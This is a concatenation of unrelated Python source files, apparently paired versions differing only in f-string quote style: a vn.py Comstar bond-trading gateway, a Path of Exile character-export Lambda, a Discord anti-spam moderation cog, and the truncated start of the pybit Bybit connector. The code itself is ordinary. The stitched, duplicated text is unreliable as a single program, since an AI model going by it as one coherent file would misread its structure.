self.api.get_all_orders() self.api.get_all_trades() def close(self): """""" self.api.close() class UserApi(TdApi): """ Implements Comstar API. """ def __init__(self, gateway: ComstarGateway): """Constructor""" super().__init__() self.gateway = gateway self.gateway_name = gateway.gateway_name self.trades: Dict[str, TradeData] = {} self.orders: Dict[str, OrderData] = {} def on_tick(self, tick: dict): """""" data = parse_tick(tick) self.gateway.on_tick(data) def on_order(self, order: dict): """""" data = parse_order(order) # Filter duplicated order data push after reconnect last_order = self.orders.get(data.vt_orderid, None) if ( last_order and data.traded == last_order.traded and data.status == last_order.status ): return self.orders[data.vt_orderid] = data self.gateway.on_order(data) def on_trade(self, trade: dict): """""" data = parse_trade(trade) # Filter duplicated trade data push after reconnect if data.vt_tradeid in self.trades: return self.trades[data.vt_tradeid] = data self.gateway.on_trade(data) def on_log(self, log: dict): data = parse_log(log) self.gateway.on_log(data) def on_login(self, data: dict): """""" if data["status"]: self.gateway.query_all() self.gateway.write_log("服务器登录成功") else: self.gateway.write_log("服务器登录失败") def on_disconnected(self, reason: str): """""" self.gateway.write_log(reason) def on_all_contracts(self, contracts: Sequence[dict]): """""" for data in contracts: for settle_type in ("T0", "T1"): contract = parse_contract(data, settle_type) contract.gateway_name = self.gateway_name self.gateway.on_contract(contract) self.gateway.write_log("合约信息查询成功") def on_all_orders(self, orders: Sequence[dict]): """""" for data in orders: order = parse_order(data) order.gateway_name = self.gateway_name self.gateway.on_order(order) self.gateway.write_log("委托信息查询成功") def on_all_trades(self, trades: Sequence[dict]): """""" for data in trades: trade = parse_trade(data) trade.gateway_name = self.gateway_name self.gateway.on_trade(trade) self.gateway.write_log("成交信息查询成功") def on_auth(self, status: bool): """""" if status: self.gateway.write_log("服务器授权验证成功") else: self.gateway.write_log("服务器授权验证失败") def parse_tick(data: dict) -> TickData: """ Convert json received from API to TickData object. XBond Depth Data Notice: 1. Bid/Ask1 are public best price. 2. Bid/Ask2-6 are private price data. """ tick = TickData( symbol=f"{data["symbol"]}_{data["settle_type"]}", exchange=enum_decode(data["exchange"]), datetime=parse_datetime(data["datetime"]), name=data["name"], volume=float(data["volume"]), last_price=float(data["last_price"]), open_price=float(data["open_price"]), high_price=float(data["high_price"]), low_price=float(data["low_price"]), pre_close=float(data["pre_close"]), bid_price_1=float(data["bid_price_1"]), bid_price_2=float(data["bid_price_3"]), bid_price_3=float(data["bid_price_4"]), bid_price_4=float(data["bid_price_5"]), bid_price_5=float(data["bid_price_6"]), ask_price_1=float(data["ask_price_1"]), ask_price_2=float(data["ask_price_3"]), ask_price_3=float(data["ask_price_4"]), ask_price_4=float(data["ask_price_5"]), ask_price_5=float(data["ask_price_6"]), bid_volume_1=float(data["bid_volume_1"]), bid_volume_2=float(data["bid_volume_3"]), bid_volume_3=float(data["bid_volume_4"]), bid_volume_4=float(data["bid_volume_5"]), bid_volume_5=float(data["bid_volume_6"]), ask_volume_1=float(data["ask_volume_1"]), ask_volume_2=float(data["ask_volume_3"]), ask_volume_3=float(data["ask_volume_4"]), ask_volume_4=float(data["ask_volume_5"]), ask_volume_5=float(data["ask_volume_6"]), gateway_name=data["gateway_name"] ) return tick def parse_order(data: dict) -> OrderData: """ Convert json received from API to OrderData object. """ order = OrderData( symbol=f"{data["symbol"]}_{data["settle_type"]}", exchange=enum_decode(data["exchange"]), orderid=data["orderid"], type=enum_decode(data["type"]), direction=enum_decode(data["direction"]), offset=Offset.NONE, price=float(data["price"]), volume=float(data["volume"]), traded=float(data["traded"]), status=enum_decode(data["status"]), datetime=generate_datetime(data["time"]), gateway_name=data["gateway_name"] ) return order def parse_trade(data: dict) -> TradeData: """ Convert json received from API to TradeData object. """ trade = TradeData( symbol=f"{data["symbol"]}_{data["settle_type"]}", exchange=enum_decode(data["exchange"]), orderid=data["orderid"], tradeid=data["tradeid"], direction=enum_decode(data["direction"]), offset=Offset.NONE, price=float(data["price"]), volume=float(data["volume"]), datetime=generate_datetime(data["time"]), gateway_name=data["gateway_name"] ) return trade def parse_contract(data: dict, settle_type: str) -> ContractData: """ Convert json received from API to ContractData object. """ contract = ContractData( symbol=f"{data["symbol"]}_{settle_type}", exchange=enum_decode(data["exchange"]), name=data["name"], product=enum_decode(data["product"]), size=int(data["size"]), pricetick=float(data["pricetick"]), min_volume=float(data["min_volume"]), gateway_name=data["gateway_name"] ) return contract def parse_log(data: dict) -> LogData: """ 从api收到的data里解析出LogData """ log = LogData( msg=data["msg"], level=data["level"], gateway_name=data["gateway_name"] ) log.time = parse_datetime(data["time"]) return log def parse_datetime(s: str) -> datetime: if "." in s: dt = datetime.strptime(s, "%Y%m%d %H:%M:%S.%f") elif len(s) > 0: dt = datetime.strptime(s, "%Y%m%d %H:%M:%S") else: dt = datetime.now() dt = dt.replace(tzinfo=CHINA_TZ) return dt def enum_decode(s: str) -> Optional[Enum]: """ Convert string into vn.py constant enum. """ if "." in s: name, member = s.split(".") return getattr(VN_ENUMS[name], member) else: return None def vn_encode(obj: object) -> str or dict: """ Convert vn.py object into json format. """ if type(obj) in VN_ENUMS.values(): return str(obj) else: s = {} for (k, v) in obj.__dict__.items(): if type(v) in VN_ENUMS.values(): s[k] = vn_encode(v) else: s[k] = str(v) return s def generate_datetime(time: str) -> datetime: """""" today = datetime.now().strftime("%Y%m%d") timestamp = f"{today} {time}" dt = parse_datetime(timestamp) return dt
from datetime import datetime from typing import Optional, Sequence, Dict from enum import Enum import pytz from vnpy.event import EventEngine from vnpy.trader.gateway import BaseGateway from vnpy.trader.constant import ( Exchange, Product, Offset, OrderType, Direction, Status ) from vnpy.trader.object import ( SubscribeRequest, CancelRequest, OrderRequest, ContractData, TickData, OrderData, TradeData, LogData ) from .comstar_api import TdApi VN_ENUMS = { "Exchange": Exchange, "Product": Product, "Offset": Offset, "OrderType": OrderType, "Direction": Direction, "Status": Status } CHINA_TZ = pytz.timezone("Asia/Shanghai") class ComstarGateway(BaseGateway): """ VN Trader Gateway for Comstar service. """ default_setting = { "交易服务器": "", "用户名": "", "密码": "", "Key": "" } exchanges = [Exchange.CFETS] def __init__(self, event_engine: EventEngine): """Constructor""" super().__init__(event_engine, "COMSTAR") self.api = UserApi(self) def connect(self, setting: dict): """""" td_address = setting["交易服务器"] username = setting["用户名"] password = setting["密码"] key = setting["Key"] self.api.connect(username, password, key, td_address) def subscribe(self, req: SubscribeRequest): """""" # Symbol format: 180406_T0 or 180406_T1 symbol, settle_type, *_ = req.symbol.split("_") + [""] if settle_type not in {"T0", "T1"}: self.write_log("请输入清算速度T0或T1") return "" data = vn_encode(req) data["symbol"] = symbol data["settle_type"] = settle_type self.api.subscribe(data, self.gateway_name) def send_order(self, req: OrderRequest): """""" # Offset is not supported for Comstar gateawy req.offset = Offset.NONE if req.type not in {OrderType.LIMIT, OrderType.FAK}: self.write_log("仅支持限价单和FAK单") return "" symbol, settle_type, *_ = req.symbol.split("_") + [""] if settle_type not in {"T0", "T1"}: self.write_log("请输入清算速度T0或T1") return "" data = vn_encode(req) data["symbol"] = symbol data["settle_type"] = settle_type data["strategy_name"] = data.pop("reference") order_id = self.api.send_order(data, self.gateway_name) # convert to vt_orderid return f"{self.gateway_name}.{order_id}" def cancel_order(self, req: CancelRequest): """""" data = vn_encode(req) symbol, settle_type, *_ = req.symbol.split("_") + [""] data["symbol"] = symbol data["settle_type"] = settle_type self.api.cancel_order(data, self.gateway_name) def query_account(self): """""" pass def query_position(self): """""" pass def query_all(self): """""" self.api.get_all_contracts() self.api.get_all_orders() self.api.get_all_trades() def close(self): """""" self.api.close() class UserApi(TdApi): """ Implements Comstar API. """ def __init__(self, gateway: ComstarGateway): """Constructor""" super().__init__() self.gateway = gateway self.gateway_name = gateway.gateway_name self.trades: Dict[str, TradeData] = {} self.orders: Dict[str, OrderData] = {} def on_tick(self, tick: dict): """""" data = parse_tick(tick) self.gateway.on_tick(data) def on_order(self, order: dict): """""" data = parse_order(order) # Filter duplicated order data push after reconnect last_order = self.orders.get(data.vt_orderid, None) if ( last_order and data.traded == last_order.traded and data.status == last_order.status ): return self.orders[data.vt_orderid] = data self.gateway.on_order(data) def on_trade(self, trade: dict): """""" data = parse_trade(trade) # Filter duplicated trade data push after reconnect if data.vt_tradeid in self.trades: return self.trades[data.vt_tradeid] = data self.gateway.on_trade(data) def on_log(self, log: dict): data = parse_log(log) self.gateway.on_log(data) def on_login(self, data: dict): """""" if data["status"]: self.gateway.query_all() self.gateway.write_log("服务器登录成功") else: self.gateway.write_log("服务器登录失败") def on_disconnected(self, reason: str): """""" self.gateway.write_log(reason) def on_all_contracts(self, contracts: Sequence[dict]): """""" for data in contracts: for settle_type in ("T0", "T1"): contract = parse_contract(data, settle_type) contract.gateway_name = self.gateway_name self.gateway.on_contract(contract) self.gateway.write_log("合约信息查询成功") def on_all_orders(self, orders: Sequence[dict]): """""" for data in orders: order = parse_order(data) order.gateway_name = self.gateway_name self.gateway.on_order(order) self.gateway.write_log("委托信息查询成功") def on_all_trades(self, trades: Sequence[dict]): """""" for data in trades: trade = parse_trade(data) trade.gateway_name = self.gateway_name self.gateway.on_trade(trade) self.gateway.write_log("成交信息查询成功") def on_auth(self, status: bool): """""" if status: self.gateway.write_log("服务器授权验证成功") else: self.gateway.write_log("服务器授权验证失败") def parse_tick(data: dict) -> TickData: """ Convert json received from API to TickData object. XBond Depth Data Notice: 1. Bid/Ask1 are public best price. 2. Bid/Ask2-6 are private price data. """ tick = TickData( symbol=f"{data['symbol']}_{data['settle_type']}", exchange=enum_decode(data["exchange"]), datetime=parse_datetime(data["datetime"]), name=data["name"], volume=float(data["volume"]), last_price=float(data["last_price"]), open_price=float(data["open_price"]), high_price=float(data["high_price"]), low_price=float(data["low_price"]), pre_close=float(data["pre_close"]), bid_price_1=float(data["bid_price_1"]), bid_price_2=float(data["bid_price_3"]), bid_price_3=float(data["bid_price_4"]), bid_price_4=float(data["bid_price_5"]), bid_price_5=float(data["bid_price_6"]), ask_price_1=float(data["ask_price_1"]), ask_price_2=float(data["ask_price_3"]), ask_price_3=float(data["ask_price_4"]), ask_price_4=float(data["ask_price_5"]), ask_price_5=float(data["ask_price_6"]), bid_volume_1=float(data["bid_volume_1"]), bid_volume_2=float(data["bid_volume_3"]), bid_volume_3=float(data["bid_volume_4"]), bid_volume_4=float(data["bid_volume_5"]), bid_volume_5=float(data["bid_volume_6"]), ask_volume_1=float(data["ask_volume_1"]), ask_volume_2=float(data["ask_volume_3"]), ask_volume_3=float(data["ask_volume_4"]), ask_volume_4=float(data["ask_volume_5"]), ask_volume_5=float(data["ask_volume_6"]), gateway_name=data["gateway_name"] ) return tick def parse_order(data: dict) -> OrderData: """ Convert json received from API to OrderData object. """ order = OrderData( symbol=f"{data['symbol']}_{data['settle_type']}", exchange=enum_decode(data["exchange"]), orderid=data["orderid"], type=enum_decode(data["type"]), direction=enum_decode(data["direction"]), offset=Offset.NONE, price=float(data["price"]), volume=float(data["volume"]), traded=float(data["traded"]), status=enum_decode(data["status"]), datetime=generate_datetime(data["time"]), gateway_name=data["gateway_name"] ) return order def parse_trade(data: dict) -> TradeData: """ Convert json received from API to TradeData object. """ trade = TradeData( symbol=f"{data['symbol']}_{data['settle_type']}", exchange=enum_decode(data["exchange"]), orderid=data["orderid"], tradeid=data["tradeid"], direction=enum_decode(data["direction"]), offset=Offset.NONE, price=float(data["price"]), volume=float(data["volume"]), datetime=generate_datetime(data["time"]), gateway_name=data["gateway_name"] ) return trade def parse_contract(data: dict, settle_type: str) -> ContractData: """ Convert json received from API to ContractData object. """ contract = ContractData( symbol=f"{data['symbol']}_{settle_type}", exchange=enum_decode(data["exchange"]), name=data["name"], product=enum_decode(data["product"]), size=int(data["size"]), pricetick=float(data["pricetick"]), min_volume=float(data["min_volume"]), gateway_name=data["gateway_name"] ) return contract def parse_log(data: dict) -> LogData: """ 从api收到的data里解析出LogData """ log = LogData( msg=data["msg"], level=data["level"], gateway_name=data["gateway_name"] ) log.time = parse_datetime(data["time"]) return log def parse_datetime(s: str) -> datetime: if "." in s: dt = datetime.strptime(s, "%Y%m%d %H:%M:%S.%f") elif len(s) > 0: dt = datetime.strptime(s, "%Y%m%d %H:%M:%S") else: dt = datetime.now() dt = dt.replace(tzinfo=CHINA_TZ) return dt def enum_decode(s: str) -> Optional[Enum]: """ Convert string into vn.py constant enum. """ if "." in s: name, member = s.split(".") return getattr(VN_ENUMS[name], member) else: return None def vn_encode(obj: object) -> str or dict: """ Convert vn.py object into json format. """ if type(obj) in VN_ENUMS.values(): return str(obj) else: s = {} for (k, v) in obj.__dict__.items(): if type(v) in VN_ENUMS.values(): s[k] = vn_encode(v) else: s[k] = str(v) return s def generate_datetime(time: str) -> datetime: """""" today = datetime.now().strftime("%Y%m%d") timestamp = f"{today} {time}" dt = parse_datetime(timestamp) return dt
import json import logging import uuid import os from datetime import timezone, datetime import boto3 from poe_character_exporter.character import get_character, format_item logger = logging.getLogger(__name__) if os.environ.get("LOG_LEVEL"): logger.setLevel(os.environ["LOG_LEVEL"]) else: logger.setLevel("INFO") def handler(event, context): ddb = boto3.resource("dynamodb") if not event.get("CorrelationId"): logger.warning(f"Missing correlation id in the envent! Generating one...") correlation_id = uuid.uuid4() else: correlation_id = event["CorrelationId"] logger.debug(f"Started handler {correlation_id}") # due to the rate limiting of the poe character API for i in range(0,44): if not event["characters"]: logger.info(f"All characters processed, adding -1 to the event") event["characters"] = -1 if event["characters"] == -1: break c = event["characters"].pop(0) character = get_character(c["account"], c["character"]) if character.get("error"): error = character["error"] if error["code"] == 1: logger.info(f"Character could not be loaded, skipping...") elif error["code"] == 2: logger.warning(f"Early exit from the character loop, rate limit too high") break else: poe_character_table = ddb.Table("poe_item_alerts_characters") for item in character["items"]: ddb_item = format_item(item) ddb_item["character_name"] = c["character"] ddb_item["character_class"] = character["character"]["class"] ddb_item["character_level"] = character["character"]["level"] ddb_item["account_name"] = c["account"] current_epoch = int(datetime.now(tz=timezone.utc).timestamp()) ddb_item["created"] = current_epoch ddb_item["ttl"] = current_epoch + 86400 ddb_item["dead"] = c["dead"] poe_character_table.put_item(Item=ddb_item) logger.info(f"Ingested {c["character"]}") return event
import json import logging import uuid import os from datetime import timezone, datetime import boto3 from poe_character_exporter.character import get_character, format_item logger = logging.getLogger(__name__) if os.environ.get("LOG_LEVEL"): logger.setLevel(os.environ["LOG_LEVEL"]) else: logger.setLevel("INFO") def handler(event, context): ddb = boto3.resource("dynamodb") if not event.get("CorrelationId"): logger.warning(f"Missing correlation id in the envent! Generating one...") correlation_id = uuid.uuid4() else: correlation_id = event["CorrelationId"] logger.debug(f"Started handler {correlation_id}") # due to the rate limiting of the poe character API for i in range(0,44): if not event["characters"]: logger.info(f"All characters processed, adding -1 to the event") event["characters"] = -1 if event["characters"] == -1: break c = event["characters"].pop(0) character = get_character(c["account"], c["character"]) if character.get("error"): error = character["error"] if error["code"] == 1: logger.info(f"Character could not be loaded, skipping...") elif error["code"] == 2: logger.warning(f"Early exit from the character loop, rate limit too high") break else: poe_character_table = ddb.Table("poe_item_alerts_characters") for item in character["items"]: ddb_item = format_item(item) ddb_item["character_name"] = c["character"] ddb_item["character_class"] = character["character"]["class"] ddb_item["character_level"] = character["character"]["level"] ddb_item["account_name"] = c["account"] current_epoch = int(datetime.now(tz=timezone.utc).timestamp()) ddb_item["created"] = current_epoch ddb_item["ttl"] = current_epoch + 86400 ddb_item["dead"] = c["dead"] poe_character_table.put_item(Item=ddb_item) logger.info(f"Ingested {c['character']}") return event
import logging from datetime import datetime, timedelta from typing import List from discord import Colour, Member, Message, Object, TextChannel from discord.ext.commands import Bot from bot import rules from bot.cogs.moderation import Moderation from bot.cogs.modlog import ModLog from bot.constants import ( AntiSpam as AntiSpamConfig, Channels, Colours, DEBUG_MODE, Event, Filter, Guild as GuildConfig, Icons, Roles, STAFF_ROLES, ) log = logging.getLogger(__name__) RULE_FUNCTION_MAPPING = { 'attachments': rules.apply_attachments, 'burst': rules.apply_burst, 'burst_shared': rules.apply_burst_shared, 'chars': rules.apply_chars, 'discord_emojis': rules.apply_discord_emojis, 'duplicates': rules.apply_duplicates, 'links': rules.apply_links, 'mentions': rules.apply_mentions, 'newlines': rules.apply_newlines, 'role_mentions': rules.apply_role_mentions } class AntiSpam: def __init__(self, bot: Bot): self.bot = bot self._muted_role = Object(Roles.muted) @property def mod_log(self) -> ModLog: return self.bot.get_cog("ModLog") async def on_ready(self): role_id = AntiSpamConfig.punishment['role_id'] self.muted_role = Object(role_id) async def on_message(self, message: Message): if ( not message.guild or message.guild.id != GuildConfig.id or message.author.bot or (message.channel.id in Filter.channel_whitelist and not DEBUG_MODE) or (any(role.id in STAFF_ROLES for role in message.author.roles) and not DEBUG_MODE) ): return # Fetch the rule configuration with the highest rule interval. max_interval_config = max( AntiSpamConfig.rules.values(), key=lambda config: config['interval'] ) max_interval = max_interval_config['interval'] # Store history messages since `interval` seconds ago in a list to prevent unnecessary API calls. earliest_relevant_at = datetime.utcnow() - timedelta(seconds=max_interval) relevant_messages = [ msg async for msg in message.channel.history(after=earliest_relevant_at, reverse=False) ] for rule_name in AntiSpamConfig.rules: rule_config = AntiSpamConfig.rules[rule_name] rule_function = RULE_FUNCTION_MAPPING[rule_name] # Create a list of messages that were sent in the interval that the rule cares about. latest_interesting_stamp = datetime.utcnow() - timedelta(seconds=rule_config['interval']) messages_for_rule = [ msg for msg in relevant_messages if msg.created_at > latest_interesting_stamp ] result = await rule_function(message, messages_for_rule, rule_config) # If the rule returns `None`, that means the message didn't violate it. # If it doesn't, it returns a tuple in the form `(str, Iterable[discord.Member])` # which contains the reason for why the message violated the rule and # an iterable of all members that violated the rule. if result is not None: reason, members, relevant_messages = result full_reason = f"`{rule_name}` rule: {reason}" for member in members: # Fire it off as a background task to ensure # that the sleep doesn't block further tasks self.bot.loop.create_task( self.punish(message, member, full_reason, relevant_messages, rule_name) ) await self.maybe_delete_messages(message.channel, relevant_messages) break async def punish(self, msg: Message, member: Member, reason: str, messages: List[Message], rule_name: str): # Sanity check to ensure we're not lagging behind if self.muted_role not in member.roles: remove_role_after = AntiSpamConfig.punishment['remove_after'] mod_alert_message = ( f"**Triggered by:** {member.display_name}#{member.discriminator} (`{member.id}`)\n" f"**Channel:** {msg.channel.mention}\n" f"**Reason:** {reason}\n" ) # For multiple messages or those with excessive newlines, use the logs API if len(messages) > 1 or rule_name == 'newlines': url = await self.mod_log.upload_log(messages) mod_alert_message += f"A complete log of the offending messages can be found [here]({url})" else: mod_alert_message += "Message:\n" content = messages[0].clean_content remaining_chars = 2040 - len(mod_alert_message) if len(content) > remaining_chars: content = content[:remaining_chars] + "..." mod_alert_message += f"{content}" # Return the mod log message Context that we can use to post the infraction mod_log_ctx = await self.mod_log.send_log_message( icon_url=Icons.filtering, colour=Colour(Colours.soft_red), title=f"Spam detected!", text=mod_alert_message, thumbnail=msg.author.avatar_url_as(static_format="png"), channel_id=Channels.mod_alerts, ping_everyone=AntiSpamConfig.ping_everyone ) # Run a tempmute await mod_log_ctx.invoke(Moderation.tempmute, member, f"{remove_role_after}S", reason=reason) async def maybe_delete_messages(self, channel: TextChannel, messages: List[Message]): # Is deletion of offending messages actually enabled? if AntiSpamConfig.clean_offending: # If we have more than one message, we can use bulk delete. if len(messages) > 1: message_ids = [message.id for message in messages] self.mod_log.ignore(Event.message_delete, *message_ids) await channel.delete_messages(messages) # Otherwise, the bulk delete endpoint will throw up. # Delete the message directly instead. else: self.mod_log.ignore(Event.message_delete, messages[0].id) await messages[0].delete() def validate_config(): for name, config in AntiSpamConfig.rules.items(): if name not in RULE_FUNCTION_MAPPING: raise ValueError( f"Unrecognized antispam rule `{name}`. " f"Valid rules are: {", ".join(RULE_FUNCTION_MAPPING)}" ) for required_key in ('interval', 'max'): if required_key not in config: raise ValueError( f"`{required_key}` is required but was not " f"set in rule `{name}`'s configuration." ) def setup(bot: Bot): validate_config() bot.add_cog(AntiSpam(bot)) log.info("Cog loaded: AntiSpam")
import logging from datetime import datetime, timedelta from typing import List from discord import Colour, Member, Message, Object, TextChannel from discord.ext.commands import Bot from bot import rules from bot.cogs.moderation import Moderation from bot.cogs.modlog import ModLog from bot.constants import ( AntiSpam as AntiSpamConfig, Channels, Colours, DEBUG_MODE, Event, Filter, Guild as GuildConfig, Icons, Roles, STAFF_ROLES, ) log = logging.getLogger(__name__) RULE_FUNCTION_MAPPING = { 'attachments': rules.apply_attachments, 'burst': rules.apply_burst, 'burst_shared': rules.apply_burst_shared, 'chars': rules.apply_chars, 'discord_emojis': rules.apply_discord_emojis, 'duplicates': rules.apply_duplicates, 'links': rules.apply_links, 'mentions': rules.apply_mentions, 'newlines': rules.apply_newlines, 'role_mentions': rules.apply_role_mentions } class AntiSpam: def __init__(self, bot: Bot): self.bot = bot self._muted_role = Object(Roles.muted) @property def mod_log(self) -> ModLog: return self.bot.get_cog("ModLog") async def on_ready(self): role_id = AntiSpamConfig.punishment['role_id'] self.muted_role = Object(role_id) async def on_message(self, message: Message): if ( not message.guild or message.guild.id != GuildConfig.id or message.author.bot or (message.channel.id in Filter.channel_whitelist and not DEBUG_MODE) or (any(role.id in STAFF_ROLES for role in message.author.roles) and not DEBUG_MODE) ): return # Fetch the rule configuration with the highest rule interval. max_interval_config = max( AntiSpamConfig.rules.values(), key=lambda config: config['interval'] ) max_interval = max_interval_config['interval'] # Store history messages since `interval` seconds ago in a list to prevent unnecessary API calls. earliest_relevant_at = datetime.utcnow() - timedelta(seconds=max_interval) relevant_messages = [ msg async for msg in message.channel.history(after=earliest_relevant_at, reverse=False) ] for rule_name in AntiSpamConfig.rules: rule_config = AntiSpamConfig.rules[rule_name] rule_function = RULE_FUNCTION_MAPPING[rule_name] # Create a list of messages that were sent in the interval that the rule cares about. latest_interesting_stamp = datetime.utcnow() - timedelta(seconds=rule_config['interval']) messages_for_rule = [ msg for msg in relevant_messages if msg.created_at > latest_interesting_stamp ] result = await rule_function(message, messages_for_rule, rule_config) # If the rule returns `None`, that means the message didn't violate it. # If it doesn't, it returns a tuple in the form `(str, Iterable[discord.Member])` # which contains the reason for why the message violated the rule and # an iterable of all members that violated the rule. if result is not None: reason, members, relevant_messages = result full_reason = f"`{rule_name}` rule: {reason}" for member in members: # Fire it off as a background task to ensure # that the sleep doesn't block further tasks self.bot.loop.create_task( self.punish(message, member, full_reason, relevant_messages, rule_name) ) await self.maybe_delete_messages(message.channel, relevant_messages) break async def punish(self, msg: Message, member: Member, reason: str, messages: List[Message], rule_name: str): # Sanity check to ensure we're not lagging behind if self.muted_role not in member.roles: remove_role_after = AntiSpamConfig.punishment['remove_after'] mod_alert_message = ( f"**Triggered by:** {member.display_name}#{member.discriminator} (`{member.id}`)\n" f"**Channel:** {msg.channel.mention}\n" f"**Reason:** {reason}\n" ) # For multiple messages or those with excessive newlines, use the logs API if len(messages) > 1 or rule_name == 'newlines': url = await self.mod_log.upload_log(messages) mod_alert_message += f"A complete log of the offending messages can be found [here]({url})" else: mod_alert_message += "Message:\n" content = messages[0].clean_content remaining_chars = 2040 - len(mod_alert_message) if len(content) > remaining_chars: content = content[:remaining_chars] + "..." mod_alert_message += f"{content}" # Return the mod log message Context that we can use to post the infraction mod_log_ctx = await self.mod_log.send_log_message( icon_url=Icons.filtering, colour=Colour(Colours.soft_red), title=f"Spam detected!", text=mod_alert_message, thumbnail=msg.author.avatar_url_as(static_format="png"), channel_id=Channels.mod_alerts, ping_everyone=AntiSpamConfig.ping_everyone ) # Run a tempmute await mod_log_ctx.invoke(Moderation.tempmute, member, f"{remove_role_after}S", reason=reason) async def maybe_delete_messages(self, channel: TextChannel, messages: List[Message]): # Is deletion of offending messages actually enabled? if AntiSpamConfig.clean_offending: # If we have more than one message, we can use bulk delete. if len(messages) > 1: message_ids = [message.id for message in messages] self.mod_log.ignore(Event.message_delete, *message_ids) await channel.delete_messages(messages) # Otherwise, the bulk delete endpoint will throw up. # Delete the message directly instead. else: self.mod_log.ignore(Event.message_delete, messages[0].id) await messages[0].delete() def validate_config(): for name, config in AntiSpamConfig.rules.items(): if name not in RULE_FUNCTION_MAPPING: raise ValueError( f"Unrecognized antispam rule `{name}`. " f"Valid rules are: {', '.join(RULE_FUNCTION_MAPPING)}" ) for required_key in ('interval', 'max'): if required_key not in config: raise ValueError( f"`{required_key}` is required but was not " f"set in rule `{name}`'s configuration." ) def setup(bot: Bot): validate_config() bot.add_cog(AntiSpam(bot)) log.info("Cog loaded: AntiSpam")
# -*- coding: utf-8 -*- """ pybit ------------------------ pybit is a lightweight and high-performance API connector for the RESTful and WebSocket APIs of the Bybit exchange. Documentation can be found at https://github.com/verata-veritatis/pybit :copyright: (c) 2020-2021 verata-veritatis :license: MIT License """ import time import hmac import json import logging import threading import requests import websocket from datetime import datetime as dt from concurrent.futures import ThreadPoolExecutor from .exceptions import FailedRequestError, InvalidRequestError # Requests will use simplejson if available. try: from simplejson.errors import JSONDecodeError except ImportError: from json.decoder import JSONDecodeError # Versioning. VERSION = '1.3.3' class HTTP: """ Connector for Bybit's HTTP API. :param endpoint: The endpoint URL of the HTTP API, e.g. 'https://api-testnet.bybit.com'. :type endpoint: str :param api_key: Your API key. Required for authenticated endpoints. Defaults to None. :type api_key: str :param api_secret: Your API secret key. Required for authenticated endpoints. Defaults to None. :type api_secret: str :param logging_level: The logging level of the built-in logger. Defaults to logging.INFO. Options are CRITICAL (50), ERROR (40), WARNING (30), INFO (20), DEBUG (10), or NOTSET (0). :type logging_level: Union[int, logging.level] :param log_requests: Whether or not pybit should log each HTTP request. :type log_requests: bool :param request_timeout: The timeout of each API request in seconds. Defaults to 10 seconds. :type request_timeout: int :param recv_window: How long an HTTP request is valid in ms. Default is 5000. :type recv_window: int :param force_retry: Whether or not pybit should retry a timed-out request. :type force_retry: bool :param retry_codes: A list of non-fatal status codes to retry on. :type retry_codes: set :param ignore_codes: A list of non-fatal status codes to ignore. :type ignore_codes: set :param max_retries: The number of times to re-attempt a request. :type max_retries: int :param retry_delay: Seconds between retries for returned error or timed-out requests. Default is 3 seconds. :type retry_delay: int :param referral_id: An optional referer ID can be added to each request for identification. :type referral_id: str :returns: pybit.HTTP session. """ def __init__(self, endpoint=None, api_key=None, api_secret=None, logging_level=logging.INFO, log_requests=False, request_timeout=10, recv_window=5000, force_retry=False, retry_codes=None, ignore_codes=None, max_retries=3, retry_delay=3, referral_id=None, spot=False): """Initializes the HTTP class.""" # Set the endpoint. if endpoint is None: self.endpoint = 'https://api.bybit.com' else: self.endpoint = endpoint # Setup logger. self.logger = logging.getLogger(__name__) if len(logging.root.handlers) == 0: #no handler on root logger set -> we add handler just for this logger to not mess with custom logic from outside handler = logging.StreamHandler() handler.setFormatter(logging.Formatter(fmt='%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S' ) ) handler.setLevel(logging_level) self.logger.addHandler(handler) self.logger.debug('Initializing HTTP session.') self.log_requests = log_requests # Set API keys. self.api_key = api_key self.api_secret = api_secret # Set timeout. self.timeout = request_timeout self.recv_window = recv_window self.force_retry = force_retry self.max_retries = max_retries self.retry_delay = retry_delay # Set whitelist of non-fatal Bybit status codes to retry on. if retry_codes is None: self.retry_codes = {10002, 10006, 30034, 30035, 130035, 130150} else: self.retry_codes = retry_codes # Set whitelist of non-fatal Bybit status codes to ignore. if ignore_codes is None: self.ignore_codes = set() else: self.ignore_codes = ignore_codes # Initialize requests session. self.client = requests.Session() self.client.headers.update( { 'User-Agent': 'pybit-' + VERSION, 'Content-Type': 'application/json', 'Accept': 'application/json', } ) # Add referral ID to header. if referral_id: self.client.headers.update({'Referer': referral_id}) # If True, calls spot endpoints rather than futures endpoints. self.spot = spot def _exit(self): """Closes the request session.""" self.client.close() self.logger.debug('HTTP session closed.') def orderbook(self, **kwargs): """ Get the orderbook. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-orderbook. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/quote/v1/depth' else: suffix = '/v2/public/orderBook/L2' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def merged_orderbook(self, **kwargs): """ Get the merged orderbook. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-mergedorderbook. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/spot/quote/v1/depth/merged', query=kwargs ) def query_kline(self, **kwargs): """ Get kline. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-querykline. :returns: Request results as dictionary. """ # Replace query param 'from_time' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_time' in kwargs: kwargs['from'] = kwargs.pop('from_time') if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/quote/v1/kline' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/kline' else: suffix = '/v2/public/kline/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def latest_information_for_symbol(self, **kwargs): """ Get the latest information for symbol. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-latestsymbolinfo. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/quote/v1/ticker/24hr' else: suffix = '/v2/public/tickers' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def last_traded_price(self, **kwargs): """ Get the last traded price. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-lasttradedprice. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/spot/quote/v1/ticker/price', query=kwargs ) def best_bid_ask_price(self, **kwargs): """ Get the best bid/ask price. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-bestbidask. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + 